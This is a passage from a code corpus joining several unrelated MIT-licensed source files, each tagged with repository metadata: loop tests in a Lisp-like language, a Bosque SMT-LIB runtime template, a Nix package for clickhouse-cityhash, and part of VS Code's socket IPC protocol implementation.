(= 42 i)))
(let (i 0)
(while (< (inc i) 7))
(test (= i 7)))
(let (i 0)
(for 7 (inc i))
(test (= i 7)))
(let (i 0)
(for (7 j) (inc i j))
(test (= i 21)))
(let (v '(1 2 3) n 0)
(for (v i) (inc n i))
(test (= n 6)))
(let (v '(1 2 3 4 5) n 0)
(drop v)
(test (= v '(1 2 3 4)))
(drop v 2)
(test (= v '(1 2))))
(let (v '(1 2 3))
(test (= (find-if v (fun (x) (if (= x 2) 'ok))) 'ok))
(test (_? (find-if v (fun (x) F)))))
(let (v '(1 2 3))
(test (= (v/map inc) '(2 3 4))))
(let _
(fun bubbles (vs)
(let done? F n (len vs))
(while (not done?)
(set done? T n (- n 1))
(for (n i)
(let x (# vs i) j (+ i 1) y (# vs j))
(if (> x y) (set done? F (# vs i) y (# vs j) x))))
vs)
(test (= (bubbles '(3 1 2)) '(1 2 3)))) | Grammatical Framework | 5 | daota2/fffff | v1/test/iter.gf | [
"MIT"
] |
(set-logic ALL)
;;
;; Type Tags
;;
(declare-datatypes (
(TypeTag 0)
) (
(
(TypeTag_$Invalid)
;;TYPE_TAG_DECLS;;
)
))
(declare-fun TypeTag_OrdinalOf (TypeTag) Int)
;;ORDINAL_TAG_DECLS;;
(declare-datatypes (
(AbstractTypeTag 0)
) (
(
(AbstractTypeTag_$Invalid)
;;ABSTRACT_TYPE_TAG_DECLS;;
)
))
(declare-datatypes (
(TupleIndexTag 0)
) (
(
(TupleIndexTag_$Invalid)
;;INDEX_TAG_DECLS;;
)
))
(declare-datatypes (
(RecordPropertyTag 0)
) (
(
(RecordPropertyTag_$Invalid)
;;RecordPropertyTag;;
)
))
(declare-fun SubtypeOf@ (TypeTag AbstractTypeTag) Bool)
;;SUBTYPE_DECLS;;
(declare-fun HasIndex@ (TypeTag TupleIndexTag) Bool)
;;TUPLE_HAS_INDEX_DECLS;;
(declare-fun HasProperty@ (TypeTag RecordPropertyTag) Bool)
;;RECORD_HAS_PROPERTY_DECLS;;
(declare-const Real@zero Real)
(assert (= Real@zero 0.0))
(declare-const Real@one Real)
(assert (= Real@one 1.0))
(define-sort BInt () Int)
(define-sort BNat () Int)
(define-sort BBigInt () Int)
(define-sort BBigNat () Int)
(define-sort BFloat () Real)
(define-sort BDecimal () Real)
(define-sort BRational () Real)
;;BSTRING_TYPE_ALIAS;;
(define-sort BTickTime () Int)
(define-sort BLogicalTime () Int)
(define-sort BUUID () (Seq (_ BitVec 8)))
(define-sort BContentHash () (_ BitVec 16))
;;TODO BHashable and Hash + HashInvert and axioms
(declare-datatype BByteBuffer
(
(BByteBuffer@cons (BByteBuffer@bytes (Seq (_ BitVec 8))) (BByteBuffer@format BNat) (BByteBuffer@compress BNat))
)
)
(declare-datatype BDateTime
(
(BDateTime@cons (BDateTime@year BNat) (BDateTime@month BNat) (BDateTime@day BNat) (BDateTime@hour BNat) (BDateTime@min BNat) (BDateTime@tzdata BString))
)
)
(declare-const BInt@zero BInt) (assert (= BInt@zero 0))
(declare-const BInt@one BInt) (assert (= BInt@one 1))
(declare-const BNat@zero BNat) (assert (= BNat@zero 0))
(declare-const BNat@one BNat) (assert (= BNat@one 1))
(declare-const BBigInt@zero BBigInt) (assert (= BBigInt@zero 0))
(declare-const BBigInt@one BBigInt) (assert (= BBigInt@one 1))
(declare-const BBigNat@zero BBigNat) (assert (= BBigNat@zero 0))
(declare-const BBigNat@one BBigNat) (assert (= BBigNat@one 1))
(declare-const BFloat@zero BFloat) (assert (= BFloat@zero Real@zero))
(declare-const BFloat@one BFloat) (assert (= BFloat@one Real@one))
(declare-const BDecimal@zero BDecimal) (assert (= BDecimal@zero Real@zero))
(declare-const BDecimal@one BDecimal) (assert (= BDecimal@one Real@one))
(declare-const BRational@zero BRational) (assert (= BRational@zero Real@zero))
(declare-const BRational@one BRational) (assert (= BRational@one Real@one))
(define-sort HavocSequence () (Seq Int))
;;
;; Primitive datatypes
;;
(declare-datatypes (
(bsq_none 0)
(bsq_nothing 0)
; Bool -> Bool
; Int -> Int
; Nat -> Int
; BigInt -> Int
; BigNat -> Int
; Float -> Real
; Decimal -> Real
; Rational -> Real
; String -> String | (Seq (_ BitVec 8))
; ByteBuffer -> BByteBuffer
; DateTime -> BDateTime
; TickTime -> Int
; LogicalTime -> Int
; UUID -> BUUID
; ContentHash -> (_ BitVec 16)
) (
( (bsq_none@literal) )
( (bsq_nothing@literal) )
))
;;OF_TYPE_DECLS;;
;;
;; KeyType Concept datatypes
;;
(declare-datatypes (
(bsq_keyobject 0)
(BKey 0)
) (
(
(bsqkey_none@literal)
(bsqkey_bool@box (bsqkey_bool_value Bool))
(bsqkey_int@box (bsqkey_int_value BInt))
(bsqkey_nat@box (bsqkey_nat_value BNat))
(bsqkey_bigint@box (bsqkey_bigint_value BBigInt))
(bsqkey_bignat@box (bsqkey_bignat_value BBigNat))
(bsqkey_string@box (bsqkey_string_value BString))
(bsqkey_logicaltime@box (bsqkey_logicaltime_value BLogicalTime))
(bsqkey_uuid@box (bsqkey_uuid_value BUUID))
(bsqkey_contenthash@box (bsqkey_contenthash_value BContentHash))
;;KEY_BOX_OPS;;
)
( (BKey@box (BKey_type TypeTag) (BKey_oftype TypeTag) (BKey_value bsq_keyobject)) )
))
(declare-const BKey@none BKey)
(assert (= BKey@none (BKey@box TypeTag_None TypeTag_None bsqkey_none@literal)))
(define-fun bsq_none@less ((k1 bsq_none) (k2 bsq_none)) Bool
false
)
(define-fun Bool@less ((k1 Bool) (k2 Bool)) Bool
(and (not k1) k2)
)
(define-fun BInt@less ((k1 BInt) (k2 BInt)) Bool
(< k1 k2)
)
(define-fun BNat@less ((k1 BNat) (k2 BNat)) Bool
(< k1 k2)
)
(define-fun BBigInt@less ((k1 BBigInt) (k2 BBigInt)) Bool
(< k1 k2)
)
(define-fun BBigNat@less ((k1 BBigNat) (k2 BBigNat)) Bool
(< k1 k2)
)
(define-fun BString@less ((k1 BString) (k2 BString)) Bool
(str.< k1 k2)
)
(define-fun BLogicalTime@less ((k1 BLogicalTime) (k2 BLogicalTime)) Bool
(< k1 k2)
)
(define-fun BUUID@less ((k1 BUUID) (k2 BUUID)) Bool
;;TODO: fix this
true
)
(define-fun BContentHash@less ((k1 BContentHash) (k2 BContentHash)) Bool
(bvult k1 k2)
)
(define-fun BKey@less ((k1 BKey) (k2 BKey)) Bool
(let ((tt (BKey_oftype k1)) (ttv1 (TypeTag_OrdinalOf (BKey_type k1))) (ttv2 (TypeTag_OrdinalOf (BKey_type k2))))
(ite (not (= ttv1 ttv2))
(< ttv1 ttv2)
(let ((vv1 (BKey_value k1)) (vv2 (BKey_value k2)))
(ite (= tt TypeTag_None)
false
(ite (= tt TypeTag_Bool)
(Bool@less (bsqkey_bool_value vv1) (bsqkey_bool_value vv2))
(ite (= tt TypeTag_Int)
(BInt@less (bsqkey_int_value vv1) (bsqkey_int_value vv2))
(ite (= tt TypeTag_Nat)
(BNat@less (bsqkey_nat_value vv1) (bsqkey_nat_value vv2))
(ite (= tt TypeTag_BigInt)
(BBigInt@less (bsqkey_bigint_value vv1) (bsqkey_bigint_value vv2))
(ite (= tt TypeTag_BigNat)
(BBigNat@less (bsqkey_bignat_value vv1) (bsqkey_bignat_value vv2))
(ite (= tt TypeTag_String)
(BString@less (bsqkey_string_value vv1) (bsqkey_string_value vv2))
(ite (= tt TypeTag_LogicalTime)
(BLogicalTime@less (bsqkey_logicaltime_value vv1) (bsqkey_logicaltime_value vv2))
(ite (= tt TypeTag_UUID)
(BUUID@less (bsqkey_uuid_value vv1) (bsqkey_uuid_value vv2))
(BContentHash@less (bsqkey_contenthash_value vv1) (bsqkey_contenthash_value vv2))
)
)
)
)
)
)
)
)
)
)
)
)
)
;;
;; Any Concept datatypes
;;
(declare-datatypes (
(bsq_regex 0)
;;TUPLE_DECLS;;
;;RECORD_DECLS;;
;;TYPE_DECLS;;
(bsq_object 0)
(BTerm 0)
) (
( (bsq_regex@cons (bsq_regex_value Int)) )
;;TUPLE_TYPE_CONSTRUCTORS;;
;;RECORD_TYPE_CONSTRUCTORS;;
;;TYPE_CONSTRUCTORS;;
(
(bsqobject_nothing@literal)
(bsqobject_float@box (bsqobject_float_value BFloat))
(bsqobject_decimal@box (bsqobject_decimal_value BDecimal))
(bsqobject_rational@box (bsqobject_rational_value BRational))
(bsqobject_bytebuffer@box (bsqobject_bytebuffer_value BByteBuffer))
(bsqobject_datetime@box (bsqobject_datetime_value BDateTime))
(bsqobject_ticktime@box (bsqobject_ticktime_value BTickTime))
(bsqobject_regex@box (bsqobject_regex_value bsq_regex))
;;TUPLE_TYPE_BOXING;;
;;RECORD_TYPE_BOXING;;
;;TYPE_BOXING;;
)
(
(BTerm@termbox (BTerm_termtype TypeTag) (BTerm_termvalue bsq_object))
(BTerm@keybox (BTerm_keyvalue BKey))
)
))
(declare-const BTerm@none BTerm)
(assert (= BTerm@none (BTerm@keybox BKey@none)))
(declare-const BTerm@nothing BTerm)
(assert (= BTerm@nothing (BTerm@termbox TypeTag_Nothing bsqobject_nothing@literal)))
;;
;;Define utility functions
;;
(define-fun GetTypeTag@BKey ((t BKey)) TypeTag
(BKey_type t)
)
(define-fun GetTypeTag@BTerm ((t BTerm)) TypeTag
(ite ((_ is BTerm@termbox) t) (BTerm_termtype t) (BKey_type (BTerm_keyvalue t)))
)
;;
;; Ephemeral datatypes
;;
(declare-datatypes (
(elistnull 0)
;;EPHEMERAL_DECLS;;
) (
( (elistnull@cons) )
;;EPHEMERAL_CONSTRUCTORS;;
))
(declare-datatypes (
(ErrorID 0)
) (
(
(ErrorID_AssumeCheck)
(ErrorID_Target)
)
))
(declare-datatypes (
;;RESULT_DECLS;;
;;MASK_DECLS;;
) (
;;RESULTS;;
;;MASKS;;
))
;;
;;Free constructors for entrypoint initialization
;;
(declare-fun BBool@UFCons_API (HavocSequence) Bool)
(declare-fun BInt@UFCons_API (HavocSequence) BInt)
(declare-fun BNat@UFCons_API (HavocSequence) BNat)
(declare-fun BBigInt@UFCons_API (HavocSequence) BBigInt)
(declare-fun BBigNat@UFCons_API (HavocSequence) BBigNat)
(declare-fun BFloat@UFCons_API (HavocSequence) BFloat)
(declare-fun BDecimal@UFCons_API (HavocSequence) BDecimal)
(declare-fun BRational@UFCons_API (HavocSequence) BRational)
(declare-fun BString@UFCons_API (HavocSequence) BString)
(declare-fun BByteBuffer@UFCons_API (HavocSequence) (Seq (_ BitVec 8)))
(declare-fun BDateYear@UFCons_API (HavocSequence) BNat)
(declare-fun BDateMonth@UFCons_API (HavocSequence) BNat)
(declare-fun BDateDay@UFCons_API (HavocSequence) BNat)
(declare-fun BDateHour@UFCons_API (HavocSequence) BNat)
(declare-fun BDateMinute@UFCons_API (HavocSequence) BNat)
(declare-fun BTickTime@UFCons_API (HavocSequence) BTickTime)
(declare-fun BLogicalTime@UFCons_API (HavocSequence) BLogicalTime)
(declare-fun BUUID@UFCons_API (HavocSequence) BUUID)
(declare-fun BContentHash@UFCons_API (HavocSequence) BContentHash)
(declare-fun ContainerSize@UFCons_API (HavocSequence) BNat)
(declare-fun UnionChoice@UFCons_API (HavocSequence) BNat)
(define-fun _@@cons_None_entrypoint ((ctx HavocSequence)) $Result_bsq_none
($Result_bsq_none@success bsq_none@literal)
)
(define-fun _@@cons_Nothing_entrypoint ((ctx HavocSequence)) $Result_bsq_nothing
($Result_bsq_nothing@success bsq_nothing@literal)
)
;;@BINTMIN, @BINTMAX, @SLENMAX, @BLENMAX
;;V_MIN_MAX;;
(define-fun _@@cons_Bool_entrypoint ((ctx HavocSequence)) $Result_Bool
($Result_Bool@success (BBool@UFCons_API ctx))
)
(define-fun _@@cons_Int_entrypoint ((ctx HavocSequence)) $Result_BInt
(let ((iv (BInt@UFCons_API ctx)))
(ite (and (<= @BINTMIN iv) (<= iv @BINTMAX))
($Result_BInt@success iv)
($Result_BInt@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_Nat_entrypoint ((ctx HavocSequence)) $Result_BNat
(let ((iv (BNat@UFCons_API ctx)))
(ite (and (<= 0 iv) (<= iv @BINTMAX))
($Result_BNat@success iv)
($Result_BNat@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_BigInt_entrypoint ((ctx HavocSequence)) $Result_BBigInt
(let ((iv (BBigInt@UFCons_API ctx)))
(ite (and (<= (+ @BINTMIN @BINTMIN) iv) (<= iv (+ @BINTMAX @BINTMAX)))
($Result_BBigInt@success iv)
($Result_BBigInt@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_BigNat_entrypoint ((ctx HavocSequence)) $Result_BBigNat
(let ((iv (BBigNat@UFCons_API ctx)))
(ite (and (<= 0 iv) (<= iv (+ @BINTMAX @BINTMAX)))
($Result_BBigNat@success iv)
($Result_BBigNat@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_Float_entrypoint ((ctx HavocSequence)) $Result_BFloat
($Result_BFloat@success (BFloat@UFCons_API ctx))
)
(define-fun _@@cons_Decimal_entrypoint ((ctx HavocSequence)) $Result_BDecimal
($Result_BDecimal@success (BDecimal@UFCons_API ctx))
)
(define-fun _@@cons_Rational_entrypoint ((ctx HavocSequence)) $Result_BRational
($Result_BRational@success (BRational@UFCons_API ctx))
)
(define-fun _@@cons_String_entrypoint ((ctx HavocSequence)) $Result_BString
(let ((sv (BString@UFCons_API ctx)))
(ite (<= (str.len sv) @SLENMAX)
($Result_BString@success sv)
($Result_BString@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_ByteBuffer_entrypoint ((ctx HavocSequence)) $Result_BByteBuffer
(let ((compress (BNat@UFCons_API (seq.++ ctx (seq.unit 0)))) (format (BNat@UFCons_API (seq.++ ctx (seq.unit 1)))) (buff (BByteBuffer@UFCons_API (seq.++ ctx (seq.unit 2)))))
(ite (and (< compress 2) (< format 4) (<= (seq.len buff) @BLENMAX))
($Result_BByteBuffer@success (BByteBuffer@cons buff compress format))
($Result_BByteBuffer@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_DateTime_entrypoint ((ctx HavocSequence)) $Result_BDateTime
(let ((tctx (seq.++ ctx (seq.unit 0))))
(let ((y (BDateYear@UFCons_API (seq.++ tctx (seq.unit 0)))) (m (BDateMonth@UFCons_API (seq.++ tctx (seq.unit 1)))) (d (BDateDay@UFCons_API (seq.++ tctx (seq.unit 2)))) (hh (BDateHour@UFCons_API (seq.++ tctx (seq.unit 3)))) (mm (BDateMinute@UFCons_API (seq.++ tctx (seq.unit 4)))) (tzo (BString@UFCons_API (seq.++ ctx (seq.unit 1)))))
(ite (and (<= 0 y) (<= y 300) (<= 0 m) (<= m 11) (<= 1 d) (<= d 31) (<= 0 hh) (<= hh 23) (<= 0 mm) (<= mm 59) (or (= tzo "UTC") (= tzo "PST") (= tzo "MST") (= tzo "CEST")))
($Result_BDateTime@success (BDateTime@cons y m d hh mm tzo))
($Result_BDateTime@error ErrorID_AssumeCheck)
)
)
)
)
(define-fun _@@cons_TickTime_entrypoint ((ctx HavocSequence)) $Result_BTickTime
(let ((tv (BTickTime@UFCons_API ctx)))
(ite (and (<= 0 tv) (<= tv 1048576))
($Result_BTickTime@success tv)
($Result_BTickTime@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_LogicalTime_entrypoint ((ctx HavocSequence)) $Result_BLogicalTime
(let ((lv (BLogicalTime@UFCons_API ctx)))
(ite (and (<= 0 lv) (<= lv 64))
($Result_BLogicalTime@success lv)
($Result_BLogicalTime@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_UUID_entrypoint ((ctx HavocSequence)) $Result_BUUID
(let ((uuv (BUUID@UFCons_API ctx)))
(ite (= (seq.len uuv) 16)
($Result_BUUID@success uuv)
($Result_BUUID@error ErrorID_AssumeCheck)
)
)
)
(define-fun _@@cons_ContentHash_entrypoint ((ctx HavocSequence)) $Result_BContentHash
($Result_BContentHash@success (BContentHash@UFCons_API ctx))
)
(declare-fun @@SortedIntSeq@@Create (Int Int Int) (Seq Int))
(define-fun @@CheckIntSeqLen ((s (Seq Int)) (len Int)) Bool
(= (seq.len s) len)
)
(define-fun @@CheckIntSeqSorted ((s (Seq Int)) (start Int) (len Int)) Bool
(forall ((i Int)) (=> (and (<= 0 i) (< i len)) (= (seq.nth s i) (+ start i))))
)
;;GLOBAL_DECLS;;
;;UF_DECLS;;
;;FUNCTION_DECLS;;
;;GLOBAL_DEFINITIONS;;
;;ACTION;;
| SMT | 3 | rustedwizard/BosqueLanguage | impl/src/tooling/checker/runtime/smtruntime.smt2 | [
"MIT"
] |
{ lib
, buildPythonPackage
, fetchPypi
, setuptools
}:
buildPythonPackage rec {
pname = "clickhouse-cityhash";
version = "1.0.2.3";
src = fetchPypi {
inherit pname version;
sha256 = "0z8nl0ly2p1h6nygwxs6y40q8y424w40fkjv3jyf8vvcg4h7sdrg";
};
propagatedBuildInputs = [ setuptools ];
doCheck = false;
pythonImportsCheck = [ "clickhouse_cityhash" ];
meta = with lib; {
description = "Python-bindings for CityHash, a fast non-cryptographic hash algorithm";
homepage = "https://github.com/xzkostyan/python-cityhash";
license = licenses.upl;
maintainers = with maintainers; [ breakds ];
};
}
| Nix | 3 | collinwright/nixpkgs | pkgs/development/python-modules/clickhouse-cityhash/default.nix | [
"MIT"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import { VSBuffer } from 'vs/base/common/buffer';
import { Emitter, Event } from 'vs/base/common/event';
import { Disposable, dispose, IDisposable } from 'vs/base/common/lifecycle';
import * as platform from 'vs/base/common/platform';
import * as process from 'vs/base/common/process';
import { IIPCLogger, IMessagePassingProtocol, IPCClient } from 'vs/base/parts/ipc/common/ipc';
export const enum SocketCloseEventType {
NodeSocketCloseEvent = 0,
WebSocketCloseEvent = 1
}
export interface NodeSocketCloseEvent {
/**
* The type of the event
*/
readonly type: SocketCloseEventType.NodeSocketCloseEvent;
/**
* `true` if the socket had a transmission error.
*/
readonly hadError: boolean;
/**
* Underlying error.
*/
readonly error: Error | undefined
}
export interface WebSocketCloseEvent {
/**
* The type of the event
*/
readonly type: SocketCloseEventType.WebSocketCloseEvent;
/**
* Returns the WebSocket connection close code provided by the server.
*/
readonly code: number;
/**
* Returns the WebSocket connection close reason provided by the server.
*/
readonly reason: string;
/**
* Returns true if the connection closed cleanly; false otherwise.
*/
readonly wasClean: boolean;
/**
* Underlying event.
*/
readonly event: any | undefined;
}
export type SocketCloseEvent = NodeSocketCloseEvent | WebSocketCloseEvent | undefined;
export interface ISocket extends IDisposable {
onData(listener: (e: VSBuffer) => void): IDisposable;
onClose(listener: (e: SocketCloseEvent) => void): IDisposable;
onEnd(listener: () => void): IDisposable;
write(buffer: VSBuffer): void;
end(): void;
drain(): Promise<void>;
}
let emptyBuffer: VSBuffer | null = null;
function getEmptyBuffer(): VSBuffer {
if (!emptyBuffer) {
emptyBuffer = VSBuffer.alloc(0);
}
return emptyBuffer;
}
export class ChunkStream {
private _chunks: VSBuffer[];
private _totalLength: number;
public get byteLength() {
return this._totalLength;
}
constructor() {
this._chunks = [];
this._totalLength = 0;
}
public acceptChunk(buff: VSBuffer) {
this._chunks.push(buff);
this._totalLength += buff.byteLength;
}
public read(byteCount: number): VSBuffer {
return this._read(byteCount, true);
}
public peek(byteCount: number): VSBuffer {
return this._read(byteCount, false);
}
private _read(byteCount: number, advance: boolean): VSBuffer {
if (byteCount === 0) {
return getEmptyBuffer();
}
if (byteCount > this._totalLength) {
throw new Error(`Cannot read so many bytes!`);
}
if (this._chunks[0].byteLength === byteCount) {
// super fast path, precisely first chunk must be returned
const result = this._chunks[0];
if (advance) {
this._chunks.shift();
this._totalLength -= byteCount;
}
return result;
}
if (this._chunks[0].byteLength > byteCount) {
// fast path, the reading is entirely within the first chunk
const result = this._chunks[0].slice(0, byteCount);
if (advance) {
this._chunks[0] = this._chunks[0].slice(byteCount);
this._totalLength -= byteCount;
}
return result;
}
let result = VSBuffer.alloc(byteCount);
let resultOffset = 0;
let chunkIndex = 0;
while (byteCount > 0) {
const chunk = this._chunks[chunkIndex];
if (chunk.byteLength > byteCount) {
// this chunk will survive
const chunkPart = chunk.slice(0, byteCount);
result.set(chunkPart, resultOffset);
resultOffset += byteCount;
if (advance) {
this._chunks[chunkIndex] = chunk.slice(byteCount);
this._totalLength -= byteCount;
}
byteCount -= byteCount;
} else {
// this chunk will be entirely read
result.set(chunk, resultOffset);
resultOffset += chunk.byteLength;
if (advance) {
this._chunks.shift();
this._totalLength -= chunk.byteLength;
} else {
chunkIndex++;
}
byteCount -= chunk.byteLength;
}
}
return result;
}
}
const enum ProtocolMessageType {
None = 0,
Regular = 1,
Control = 2,
Ack = 3,
KeepAlive = 4,
Disconnect = 5,
ReplayRequest = 6
}
export const enum ProtocolConstants {
HeaderLength = 13,
/**
* Send an Acknowledge message at most 2 seconds later...
*/
AcknowledgeTime = 2000, // 2 seconds
/**
* If there is a message that has been unacknowledged for 10 seconds, consider the connection closed...
*/
AcknowledgeTimeoutTime = 20000, // 20 seconds
/**
* Send at least a message every 5s for keep alive reasons.
*/
KeepAliveTime = 5000, // 5 seconds
/**
* If there is no message received for 10 seconds, consider the connection closed...
*/
KeepAliveTimeoutTime = 20000, // 20 seconds
/**
* If there is no reconnection within this time-frame, consider the connection permanently closed...
*/
ReconnectionGraceTime = 3 * 60 * 60 * 1000, // 3hrs
/**
* Maximal grace time between the first and the last reconnection...
*/
ReconnectionShortGraceTime = 5 * 60 * 1000, // 5min
}
class ProtocolMessage {
public writtenTime: number;
constructor(
public readonly type: ProtocolMessageType,
public readonly id: number,
public readonly ack: number,
public readonly data: VSBuffer
) {
this.writtenTime = 0;
}
public get size(): number {
return this.data.byteLength;
}
}
class ProtocolReader extends Disposable {
private readonly _socket: ISocket;
private _isDisposed: boolean;
private readonly _incomingData: ChunkStream;
public lastReadTime: number;
private readonly _onMessage = this._register(new Emitter<ProtocolMessage>());
public readonly onMessage: Event<ProtocolMessage> = this._onMessage.event;
private readonly _state = {
readHead: true,
readLen: ProtocolConstants.HeaderLength,
messageType: ProtocolMessageType.None,
id: 0,
ack: 0
};
constructor(socket: ISocket) {
super();
this._socket = socket;
this._isDisposed = false;
this._incomingData = new ChunkStream();
this._register(this._socket.onData(data => this.acceptChunk(data)));
this.lastReadTime = Date.now();
}
public acceptChunk(data: VSBuffer | null): void {
if (!data || data.byteLength === 0) {
return;
}
this.lastReadTime = Date.now();
this._incomingData.acceptChunk(data);
while (this._incomingData.byteLength >= this._state.readLen) {
const buff = this._incomingData.read(this._state.readLen);
if (this._state.readHead) {
// buff is the header
// save new state => next time will read the body
this._state.readHead = false;
this._state.readLen = buff.readUInt32BE(9);
this._state.messageType = buff.readUInt8(0);
this._state.id = buff.readUInt32BE(1);
this._state.ack = buff.readUInt32BE(5);
} else {
// buff is the body
const messageType = this._state.messageType;
const id = this._state.id;
const ack = this._state.ack;
// save new state => next time will read the header
this._state.readHead = true;
this._state.readLen = ProtocolConstants.HeaderLength;
this._state.messageType = ProtocolMessageType.None;
this._state.id = 0;
this._state.ack = 0;
this._onMessage.fire(new ProtocolMessage(messageType, id, ack, buff));
if (this._isDisposed) {
// check if an event listener lead to our disposal
break;
}
}
}
}
public readEntireBuffer(): VSBuffer {
return this._incomingData.read(this._incomingData.byteLength);
}
public override dispose(): void {
this._isDisposed = true;
super.dispose();
}
}
class ProtocolWriter {
private _isDisposed: boolean;
private readonly _socket: ISocket;
private _data: VSBuffer[];
private _totalLength: number;
public lastWriteTime: number;
constructor(socket: ISocket) {
this._isDisposed = false;
this._socket = socket;
this._data = [];
this._totalLength = 0;
this.lastWriteTime = 0;
}
public dispose(): void {
try {
this.flush();
} catch (err) {
// ignore error, since the socket could be already closed
}
this._isDisposed = true;
}
public drain(): Promise<void> {
this.flush();
return this._socket.drain();
}
public flush(): void {
// flush
this._writeNow();
}
public write(msg: ProtocolMessage) {
if (this._isDisposed) {
// ignore: there could be left-over promises which complete and then
// decide to write a response, etc...
return;
}
msg.writtenTime = Date.now();
this.lastWriteTime = Date.now();
const header = VSBuffer.alloc(ProtocolConstants.HeaderLength);
header.writeUInt8(msg.type, 0);
header.writeUInt32BE(msg.id, 1);
header.writeUInt32BE(msg.ack, 5);
header.writeUInt32BE(msg.data.byteLength, 9);
this._writeSoon(header, msg.data);
}
private _bufferAdd(head: VSBuffer, body: VSBuffer): boolean {
const wasEmpty = this._totalLength === 0;
this._data.push(head, body);
this._totalLength += head.byteLength + body.byteLength;
return wasEmpty;
}
private _bufferTake(): VSBuffer {
const ret = VSBuffer.concat(this._data, this._totalLength);
this._data.length = 0;
this._totalLength = 0;
return ret;
}
private _writeSoon(header: VSBuffer, data: VSBuffer): void {
if (this._bufferAdd(header, data)) {
platform.setImmediate(() => {
this._writeNow();
});
}
}
private _writeNow(): void {
if (this._totalLength === 0) {
return;
}
this._socket.write(this._bufferTake());
}
}
/**
* A message has the following format:
* ```
* /-------------------------------|------\
* | HEADER | |
* |-------------------------------| DATA |
* | TYPE | ID | ACK | DATA_LENGTH | |
* \-------------------------------|------/
* ```
* The header is 9 bytes and consists of:
* - TYPE is 1 byte (ProtocolMessageType) - the message type
* - ID is 4 bytes (u32be) - the message id (can be 0 to indicate to be ignored)
* - ACK is 4 bytes (u32be) - the acknowledged message id (can be 0 to indicate to be ignored)
* - DATA_LENGTH is 4 bytes (u32be) - the length in bytes of DATA
*
* Only Regular messages are counted, other messages are not counted, nor acknowledged.
*/
export class Protocol extends Disposable implements IMessagePassingProtocol {
private _socket: ISocket;
private _socketWriter: ProtocolWriter;
private _socketReader: ProtocolReader;
private readonly _onMessage = new Emitter<VSBuffer>();
readonly onMessage: Event<VSBuffer> = this._onMessage.event;
private readonly _onDidDispose = new Emitter<void>();
readonly onDidDispose: Event<void> = this._onDidDispose.event;
constructor(socket: ISocket) {
super();
this._socket = socket;
this._socketWriter = this._register(new ProtocolWriter(this._socket));
this._socketReader = this._register(new ProtocolReader(this._socket));
this._register(this._socketReader.onMessage((msg) => {
if (msg.type === ProtocolMessageType.Regular) {
this._onMessage.fire(msg.data);
}
}));
this._register(this._socket.onClose(() => this._onDidDispose.fire()));
}
drain(): Promise<void> {
return this._socketWriter.drain();
}
getSocket(): ISocket {
return this._socket;
}
sendDisconnect(): void {
// Nothing to do...
}
send(buffer: VSBuffer): void {
this._socketWriter.write(new ProtocolMessage(ProtocolMessageType.Regular, 0, 0, buffer));
}
}
export class Client<TContext = string> extends IPCClient<TContext> {
static fromSocket<TContext = string>(socket: ISocket, id: TContext): Client<TContext> {
return new Client(new Protocol(socket), id);
}
get onDidDispose(): Event<void> { return this.protocol.onDidDispose; }
constructor(private protocol: Protocol | PersistentProtocol, id: TContext, ipcLogger: IIPCLogger | null = null) {
super(protocol, id, ipcLogger);
}
override dispose(): void {
super.dispose();
const socket = this.protocol.getSocket();
this.protocol.sendDisconnect();
this.protocol.dispose();
socket.end();
}
}
/**
* Will ensure no messages are lost if there are no event listeners.
*/
export class BufferedEmitter<T> {
private _emitter: Emitter<T>;
public readonly event: Event<T>;
private _hasListeners = false;
private _isDeliveringMessages = false;
private _bufferedMessages: T[] = [];
constructor() {
this._emitter = new Emitter<T>({
onFirstListenerAdd: () => {
this._hasListeners = true;
// it is important to deliver these messages after this call, but before
// other messages have a chance to be received (to guarantee in order delivery)
// that's why we're using here nextTick and not other types of timeouts
process.nextTick(() => this._deliverMessages());
},
onLastListenerRemove: () => {
this._hasListeners = false;
}
});
this.event = this._emitter.event;
}
private _deliverMessages(): void {
if (this._isDeliveringMessages) {
return;
}
this._isDeliveringMessages = true;
while (this._hasListeners && this._bufferedMessages.length > 0) {
this._emitter.fire(this._bufferedMessages.shift()!);
}
this._isDeliveringMessages = false;
}
public fire(event: T): void {
if (this._hasListeners) {
if (this._bufferedMessages.length > 0) {
this._bufferedMessages.push(event);
} else {
this._emitter.fire(event);
}
} else {
this._bufferedMessages.push(event);
}
}
public flushBuffer(): void {
this._bufferedMessages = [];
}
}
class QueueElement<T> {
public readonly data: T;
public next: QueueElement<T> | null;
constructor(data: T) {
this.data = data;
this.next = null;
}
}
class Queue<T> {
private _first: QueueElement<T> | null;
private _last: QueueElement<T> | null;
constructor() {
this._first = null;
this._last = null;
}
public peek(): T | null {
if (!this._first) {
return null;
}
return this._first.data;
}
public toArray(): T[] {
let result: T[] = [], resultLen = 0;
let it = this._first;
while (it) {
result[resultLen++] = it.data;
it = it.next;
}
return result;
}
public pop(): void {
if (!this._first) {
return;
}
if (this._first === this._last) {
this._first = null;
this._last = null;
return;
}
this._first = this._first.next;
}
public push(item: T): void {
const element = new QueueElement(item);
if (!this._first) {
this._first = element;
this._last = element;
return;
}
this._last!.next = element;
this._last = element;
}
}
class LoadEstimator {
private static _HISTORY_LENGTH = 10;
private static _INSTANCE: LoadEstimator | null = null;
public static getInstance(): LoadEstimator {
if (!LoadEstimator._INSTANCE) {
LoadEstimator._INSTANCE = new LoadEstimator();
}
return LoadEstimator._INSTANCE;
}
private lastRuns: number[];
constructor() {
this.lastRuns = [];
const now = Date.now();
for (let i = 0; i < LoadEstimator._HISTORY_LENGTH; i++) {
this.lastRuns[i] = now - 1000 * i;
}
setInterval(() => {
for (let i = LoadEstimator._HISTORY_LENGTH; i >= 1; i--) {
this.lastRuns[i] = this.lastRuns[i - 1];
}
this.lastRuns[0] = Date.now();
}, 1000);
}
/**
* returns an estimative number, from 0 (low load) to 1 (high load)
*/
private load(): number {
const now = Date.now();
const historyLimit = (1 + LoadEstimator._HISTORY_LENGTH) * 1000;
let score = 0;
